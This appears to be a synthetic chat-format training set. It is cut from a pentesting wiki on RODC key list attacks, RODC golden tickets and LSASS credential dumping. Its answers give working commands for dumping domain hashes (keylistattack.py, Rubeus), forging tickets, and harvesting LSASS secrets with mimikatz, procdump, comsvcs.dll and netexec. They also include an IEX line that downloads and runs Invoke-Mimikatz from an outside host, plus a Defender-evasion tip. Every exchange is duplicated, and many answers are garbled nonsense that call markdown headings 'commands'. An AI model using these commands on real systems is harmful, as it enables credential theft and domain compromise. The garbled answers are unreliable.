[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the Attempt syntax for kerberos key list - practice?

[Assistant]
#Attempt to dump all the users' hashes even the ones in the Denied list
#Low privileged credentials are needed in the command for the SAMR enumeration
keylistattack.py -rodcNo "$KBRTGT_NUMBER" -rodcKey "$KRBTGT_AES_KEY" -full "$DOMAIN"/"$USER":"$PASSWORD"@"$RODC-server"

#Attempt to dump all the users' hashes but filter the ones in the Denied list
#Low privileged credentials are needed in the command for the SAMR enumeration
keylistattack.py -rodcNo "$KBRTGT_NUMBER" -rodcKey "$KRBTGT_AES_KEY" "$DOMAIN"/"$USER":"$PASSWORD"@"$RODC-server"

#Attempt to dump a specific user's hash
keylistattack.py -rodcNo "$KBRTGT_NUMBER" -rodcKey "$KRBTGT_AES_KEY" -t "$TARGETUSER" -kdc "$RODC_FQDN" LIST

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the Attempt syntax for kerberos key list - practice?

Response:
#Attempt to dump all the users' hashes even the ones in the Denied list
#Low privileged credentials are needed in the command for the SAMR enumeration
keylistattack.py -rodcNo "$KBRTGT_NUMBER" -rodcKey "$KRBTGT_AES_KEY" -full "$DOMAIN"/"$USER":"$PASSWORD"@"$RODC-server"

#Attempt to dump all the users' hashes but filter the ones in the Denied list
#Low privileged credentials are needed in the command for the SAMR enumeration
keylistattack.py -rodcNo "$KBRTGT_NUMBER" -rodcKey "$KRBTGT_AES_KEY" "$DOMAIN"/"$USER":"$PASSWORD"@"$RODC-server"

#Attempt to dump a specific user's hash
keylistattack.py -rodcNo "$KBRTGT_NUMBER" -rodcKey "$KRBTGT_AES_KEY" -t "$TARGETUSER" -kdc "$RODC_FQDN" LIST


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Kerberos key list - Practice

[Assistant]
#Attempt to dump all the users' hashes even the ones in the Denied list
#Low privileged credentials are needed in the command for the SAMR enumeration
keylistattack.py -rodcNo "$KBRTGT_NUMBER" -rodcKey "$KRBTGT_AES_KEY" -full "$DOMAIN"/"$USER":"$PASSWORD"@"$RODC-server"

#Attempt to dump all the users' hashes but filter the ones in the Denied list
#Low privileged credentials are needed in the command for the SAMR enumeration
keylistattack.py -rodcNo "$KBRTGT_NUMBER" -rodcKey "$KRBTGT_AES_KEY" "$DOMAIN"/"$USER":"$PASSWORD"@"$RODC-server"

#Attempt to dump a specific user's hash
keylistattack.py -rodcNo "$KBRTGT_NUMBER" -rodcKey "$KRBTGT_AES_KEY" -t "$TARGETUSER" -kdc "$RODC_FQDN" LIST

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Kerberos key list - Practice

Response:
#Attempt to dump all the users' hashes even the ones in the Denied list
#Low privileged credentials are needed in the command for the SAMR enumeration
keylistattack.py -rodcNo "$KBRTGT_NUMBER" -rodcKey "$KRBTGT_AES_KEY" -full "$DOMAIN"/"$USER":"$PASSWORD"@"$RODC-server"

#Attempt to dump all the users' hashes but filter the ones in the Denied list
#Low privileged credentials are needed in the command for the SAMR enumeration
keylistattack.py -rodcNo "$KBRTGT_NUMBER" -rodcKey "$KRBTGT_AES_KEY" "$DOMAIN"/"$USER":"$PASSWORD"@"$RODC-server"

#Attempt to dump a specific user's hash
keylistattack.py -rodcNo "$KBRTGT_NUMBER" -rodcKey "$KRBTGT_AES_KEY" -t "$TARGETUSER" -kdc "$RODC_FQDN" LIST


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about 1. Forge a RODC Golden ticket

[Assistant] Rubeus.exe golden /rodcNumber:$KBRTGT_NUMBER /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256:$KRBTGT_AES_KEY /user:USER /id:USER_RID /domain:domain.local /sid:DOMAIN_SID

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about 1. Forge a RODC Golden ticket

Response: Rubeus.exe golden /rodcNumber:$KBRTGT_NUMBER /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256:$KRBTGT_AES_KEY /user:USER /id:USER_RID /domain:domain.local /sid:DOMAIN_SID


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform 1. Forge a RODC Golden ticket?

[Assistant] Rubeus.exe golden /rodcNumber:$KBRTGT_NUMBER /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256:$KRBTGT_AES_KEY /user:USER /id:USER_RID /domain:domain.local /sid:DOMAIN_SID

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform 1. Forge a RODC Golden ticket?

Response: Rubeus.exe golden /rodcNumber:$KBRTGT_NUMBER /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256:$KRBTGT_AES_KEY /user:USER /id:USER_RID /domain:domain.local /sid:DOMAIN_SID


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe 2. Request a TGT via TGS-REQ request and retrieve the NT hash of the user in the response in the context of penetration testing

[Assistant]
Rubeus.exe asktgs /enctype:aes256 /keyList /ticket:ticket.kirbi /service:krbtgt/domain.local
```

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe 2. Request a TGT via TGS-REQ request and retrieve the NT hash of the user in the response in the context of penetration testing

Response:
Rubeus.exe asktgs /enctype:aes256 /keyList /ticket:ticket.kirbi /service:krbtgt/domain.local
```

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform 2. Request a TGT via TGS-REQ request and retrieve the NT hash of the user in the response?

[Assistant]
Rubeus.exe asktgs /enctype:aes256 /keyList /ticket:ticket.kirbi /service:krbtgt/domain.local
```

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform 2. Request a TGT via TGS-REQ request and retrieve the NT hash of the user in the response?

Response:
Rubeus.exe asktgs /enctype:aes256 /keyList /ticket:ticket.kirbi /service:krbtgt/domain.local
```

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does LSASS secrets - Theory work?

[Assistant] The Local Security Authority Subsystem Service (LSASS) is a Windows service responsible for enforcing the security policy on the system. It verifies users logging in, handles password changes and creates access tokens. Those operations lead to the storage of credential material in the process memory of LSASS. With administrative rights only, this material can be harvested (either locally or remotely).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: The Local Security Authority Subsystem Service (LSASS) is a Windows service responsible for enforcing the security policy on the system. It verifies users logging in, handles password changes and creates access tokens. Those operations lead to the storage of credential material in the process memory of LSASS. With administrative rights only, this material can be harvested (either locally or remotely).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute LSASS secrets - Theory?

[Assistant] The Local Security Authority Subsystem Service (LSASS) is a Windows service responsible for enforcing the security policy on the system. It verifies users logging in, handles password changes and creates access tokens. Those operations lead to the storage of credential material in the process memory of LSASS. With administrative rights only, this material can be harvested (either locally or remotely).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: The Local Security Authority Subsystem Service (LSASS) is a Windows service responsible for enforcing the security policy on the system. It verifies users logging in, handles password changes and creates access tokens. Those operations lead to the storage of credential material in the process memory of LSASS. With administrative rights only, this material can be harvested (either locally or remotely).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe LSASS secrets - Practice in the context of penetration testing

[Assistant]
::: tabs

=== Lsassy

Lsassy (Python) can be used to remotely extract credentials, from LSASS, on multiple hosts. As of today (22/07/2020), it is the Rolls-Royce of remote lsass credential harvesting.

* several dumping methods: comsvcs.dll, ProcDump, Dumpert
* several authentication methods: like pass-the-hash (NTLM), or pass-the-ticket (Kerberos)
* it can be used either as a standalone script, as a NetExec module or as a Python library
* it can interact with a Neo4j database to set BloodHound targets as "owned"

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe LSASS secrets - Practice in the context of penetration testing

Response:
::: tabs

=== Lsassy

Lsassy (Python) can be used to remotely extract credentials, from LSASS, on multiple hosts. As of today (22/07/2020), it is the Rolls-Royce of remote lsass credential harvesting.

* several dumping methods: comsvcs.dll, ProcDump, Dumpert
* several authentication methods: like pass-the-hash (NTLM), or pass-the-ticket (Kerberos)
* it can be used either as a standalone script, as a NetExec module or as a Python library
* it can interact with a Neo4j database to set BloodHound targets as "owned"

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through LSASS secrets - Practice

[Assistant]
::: tabs

=== Lsassy

Lsassy (Python) can be used to remotely extract credentials, from LSASS, on multiple hosts. As of today (22/07/2020), it is the Rolls-Royce of remote lsass credential harvesting.

* several dumping methods: comsvcs.dll, ProcDump, Dumpert
* several authentication methods: like pass-the-hash (NTLM), or pass-the-ticket (Kerberos)
* it can be used either as a standalone script, as a NetExec module or as a Python library
* it can interact with a Neo4j database to set BloodHound targets as "owned"

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through LSASS secrets - Practice

Response:
::: tabs

=== Lsassy

Lsassy (Python) can be used to remotely extract credentials, from LSASS, on multiple hosts. As of today (22/07/2020), it is the Rolls-Royce of remote lsass credential harvesting.

* several dumping methods: comsvcs.dll, ProcDump, Dumpert
* several authentication methods: like pass-the-hash (NTLM), or pass-the-ticket (Kerberos)
* it can be used either as a standalone script, as a NetExec module or as a Python library
* it can interact with a Neo4j database to set BloodHound targets as "owned"

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of netexec Module examples

[Assistant]
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
netexec smb $TARGETS -k -M lsassy
netexec smb $TARGETS -k -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
``

=== Mimikatz

Mimikatz can be used locally to extract credentials with sekurlsa::logonpasswords from lsass's process memory, or remotely with sekurlsa::minidump to analyze a memory dump (dumped with ProcDump for example).

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of netexec Module examples

Response:
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
netexec smb $TARGETS -k -M lsassy
netexec smb $TARGETS -k -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
``

=== Mimikatz

Mimikatz can be used locally to extract credentials with sekurlsa::logonpasswords from lsass's process memory, or remotely with sekurlsa::minidump to analyze a memory dump (dumped with ProcDump for example).

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform netexec Module examples?

[Assistant]
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
netexec smb $TARGETS -k -M lsassy
netexec smb $TARGETS -k -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
``

=== Mimikatz

Mimikatz can be used locally to extract credentials with sekurlsa::logonpasswords from lsass's process memory, or remotely with sekurlsa::minidump to analyze a memory dump (dumped with ProcDump for example).

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform netexec Module examples?

Response:
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
netexec smb $TARGETS -k -M lsassy
netexec smb $TARGETS -k -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
``

=== Mimikatz

Mimikatz can be used locally to extract credentials with sekurlsa::logonpasswords from lsass's process memory, or remotely with sekurlsa::minidump to analyze a memory dump (dumped with ProcDump for example).

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform netexec Module examples?

[Assistant]
=== Mimikatz

[Mimikatz](https://github.com/gentilkiwi/mimikatz) can be used locally to extract credentials with [`sekurlsa::logonpasswords`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/logonpasswords) from lsass's process memory, or remotely with [`sekurlsa::minidump`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/minidump) to analyze a memory dump (dumped with [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) for example).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
=== Mimikatz

[Mimikatz](https://github.com/gentilkiwi/mimikatz) can be used locally to extract credentials with [`sekurlsa::logonpasswords`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/logonpasswords) from lsass's process memory, or remotely with [`sekurlsa::minidump`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/minidump) to analyze a memory dump (dumped with [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) for example).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== Mimikatz`?

[Assistant] This command is used for netexec module examples. netexec Module examples

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== Mimikatz`?

Response: This command is used for netexec module examples. netexec Module examples


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain (Remotely) analyze a memory dump

[Assistant]
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
``

For Windows 2000, a special version of mimikatz called mimilove can be used.

=== Pypykatz

Pypykatz (Python) can be used remotely (i.e. offline) to analyze a memory dump (dumped with ProcDump for example).

`bash
pypykatz lsa minidump lsass.dmp
`

=== ProcDump

The legitimate tool ProcDump (from sysinternals) (download) can be used to dump lsass's process memory.

`bash
procdump -accepteula -ma lsass lsass.dmp
`

> [!TIP]
> Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass's process identifier (pid) "bypasses" that.

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain (Remotely) analyze a memory dump

Response:
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
``

For Windows 2000, a special version of mimikatz called mimilove can be used.

=== Pypykatz

Pypykatz (Python) can be used remotely (i.e. offline) to analyze a memory dump (dumped with ProcDump for example).

`bash
pypykatz lsa minidump lsass.dmp
`

=== ProcDump

The legitimate tool ProcDump (from sysinternals) (download) can be used to dump lsass's process memory.

`bash
procdump -accepteula -ma lsass lsass.dmp
`

> [!TIP]
> Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass's process identifier (pid) "bypasses" that.

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute (Remotely) analyze a memory dump?

[Assistant]
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
``

For Windows 2000, a special version of mimikatz called mimilove can be used.

=== Pypykatz

Pypykatz (Python) can be used remotely (i.e. offline) to analyze a memory dump (dumped with ProcDump for example).

`bash
pypykatz lsa minidump lsass.dmp
`

=== ProcDump

The legitimate tool ProcDump (from sysinternals) (download) can be used to dump lsass's process memory.

`bash
procdump -accepteula -ma lsass lsass.dmp
`

> [!TIP]
> Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass's process identifier (pid) "bypasses" that.

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute (Remotely) analyze a memory dump?

Response:
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
``

For Windows 2000, a special version of mimikatz called mimilove can be used.

=== Pypykatz

Pypykatz (Python) can be used remotely (i.e. offline) to analyze a memory dump (dumped with ProcDump for example).

`bash
pypykatz lsa minidump lsass.dmp
`

=== ProcDump

The legitimate tool ProcDump (from sysinternals) (download) can be used to dump lsass's process memory.

`bash
procdump -accepteula -ma lsass lsass.dmp
`

> [!TIP]
> Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass's process identifier (pid) "bypasses" that.

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use For for (remotely) analyze a memory dump?

[Assistant]
For Windows 2000, a special version of mimikatz called mimilove can be used.

=== Pypykatz

[Pypykatz](https://github.com/skelsec/pypykatz) (Python) can be used remotely (i.e. offline) to analyze a memory dump (dumped with [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) for example).

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use For for (remotely) analyze a memory dump?

Response:
For Windows 2000, a special version of mimikatz called mimilove can be used.

=== Pypykatz

[Pypykatz](https://github.com/skelsec/pypykatz) (Python) can be used remotely (i.e. offline) to analyze a memory dump (dumped with [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) for example).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for (Remotely) analyze a memory dump?

[Assistant]
For Windows 2000, a special version of mimikatz called mimilove can be used.

=== Pypykatz

[Pypykatz](https://github.com/skelsec/pypykatz) (Python) can be used remotely (i.e. offline) to analyze a memory dump (dumped with [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) for example).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for (Remotely) analyze a memory dump?

Response:
For Windows 2000, a special version of mimikatz called mimilove can be used.

=== Pypykatz

[Pypykatz](https://github.com/skelsec/pypykatz) (Python) can be used remotely (i.e. offline) to analyze a memory dump (dumped with [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) for example).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `For Windows 2000, a special version of mimikatz called mimilove can be used.`?

[Assistant] This command is used for (remotely) analyze a memory dump. (Remotely) analyze a memory dump

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `For Windows 2000, a special version of mimikatz called mimilove can be used.`?

Response: This command is used for (remotely) analyze a memory dump. (Remotely) analyze a memory dump


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute (Remotely) analyze a memory dump?

[Assistant]
=== ProcDump

The legitimate tool [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) (from [sysinternals](https://docs.microsoft.com/en-us/sysinternals/)) ([download](https://live.sysinternals.com/)) can be used to dump lsass's process memory.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
=== ProcDump

The legitimate tool [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) (from [sysinternals](https://docs.microsoft.com/en-us/sysinternals/)) ([download](https://live.sysinternals.com/)) can be used to dump lsass's process memory.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== ProcDump`?

[Assistant] This command is used for (remotely) analyze a memory dump. (Remotely) analyze a memory dump

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== ProcDump`?

Response: This command is used for (remotely) analyze a memory dump. (Remotely) analyze a memory dump


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for (Remotely) analyze a memory dump?

[Assistant]
> [!TIP]
> Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass's process identifier (pid) "bypasses" that.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
> [!TIP]
> Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass's process identifier (pid) "bypasses" that.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `> [!TIP]`?

[Assistant] This command is used for (remotely) analyze a memory dump. (Remotely) analyze a memory dump

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: This command is used for (remotely) analyze a memory dump. (Remotely) analyze a memory dump


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Dump lsass's process memory

[Assistant]
procdump -accepteula -ma $lsass_pid lsass.dmp
``

Once the memory dump is finished, it can be analyzed with mimikatz (Windows) or pypykatz (Python, cross-platform).

=== comsvcs.dll

The native comsvcs.dll DLL found in C:\Windows\system32 can be used with rundll32 to dump LSASS's process memory.

``bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Dump lsass's process memory

Response:
procdump -accepteula -ma $lsass_pid lsass.dmp
``

Once the memory dump is finished, it can be analyzed with mimikatz (Windows) or pypykatz (Python, cross-platform).

=== comsvcs.dll

The native comsvcs.dll DLL found in C:\Windows\system32 can be used with rundll32 to dump LSASS's process memory.

``bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Dump lsass's process memory

[Assistant]
procdump -accepteula -ma $lsass_pid lsass.dmp
``

Once the memory dump is finished, it can be analyzed with mimikatz (Windows) or pypykatz (Python, cross-platform).

=== comsvcs.dll

The native comsvcs.dll DLL found in C:\Windows\system32 can be used with rundll32 to dump LSASS's process memory.

``bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Dump lsass's process memory

Response:
procdump -accepteula -ma $lsass_pid lsass.dmp
``

Once the memory dump is finished, it can be analyzed with mimikatz (Windows) or pypykatz (Python, cross-platform).

=== comsvcs.dll

The native comsvcs.dll DLL found in C:\Windows\system32 can be used with rundll32 to dump LSASS's process memory.

``bash


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the Once command for dump lsass's process memory

[Assistant]
Once the memory dump is finished, it can be analyzed with [mimikatz](https://github.com/gentilkiwi/mimikatz) (Windows) or [pypykatz](https://github.com/skelsec/pypykatz) (Python, cross-platform).

=== comsvcs.dll

The native comsvcs.dll DLL found in `C:\Windows\system32` can be used with rundll32 to dump LSASS's process memory.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the Once command for dump lsass's process memory

Response:
Once the memory dump is finished, it can be analyzed with [mimikatz](https://github.com/gentilkiwi/mimikatz) (Windows) or [pypykatz](https://github.com/skelsec/pypykatz) (Python, cross-platform).

=== comsvcs.dll

The native comsvcs.dll DLL found in `C:\Windows\system32` can be used with rundll32 to dump LSASS's process memory.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Dump lsass's process memory during a pentest?

[Assistant]
Once the memory dump is finished, it can be analyzed with [mimikatz](https://github.com/gentilkiwi/mimikatz) (Windows) or [pypykatz](https://github.com/skelsec/pypykatz) (Python, cross-platform).

=== comsvcs.dll

The native comsvcs.dll DLL found in `C:\Windows\system32` can be used with rundll32 to dump LSASS's process memory.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Dump lsass's process memory during a pentest?

Response:
Once the memory dump is finished, it can be analyzed with [mimikatz](https://github.com/gentilkiwi/mimikatz) (Windows) or [pypykatz](https://github.com/skelsec/pypykatz) (Python, cross-platform).

=== comsvcs.dll

The native comsvcs.dll DLL found in `C:\Windows\system32` can be used with rundll32 to dump LSASS's process memory.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Once the memory dump is finished, it can be analyzed with [mimikatz](https://github.com/gentilkiwi/mimikatz) (Windows) or [pypykatz](https://github.com/skelsec/pypykatz) (Python, cross-platform).`?

[Assistant] This command is used for dump lsass's process memory. Dump lsass's process memory

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Once the memory dump is finished, it can be analyzed with [mimikatz](https://github.com/gentilkiwi/mimikatz) (Windows) or [pypykatz](https://github.com/skelsec/pypykatz) (Python, cross-platform).`?

Response: This command is used for dump lsass's process memory. Dump lsass's process memory


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Dump lsass's process memory in the context of penetration testing

[Assistant]
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass_pid C:\temp\lsass.dmp full
``

=== PowerSploit

PowerSploit's exfiltration script Invoke-Mimikatz (PowerShell) can be used to extract credential material from LSASS's process memory.

`bash
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.5/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz -DumpCreds
``

:::

Recovered credential material could be either plaintext passwords or NT hash that can be used with pass the hash (depending on the context).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Dump lsass's process memory in the context of penetration testing

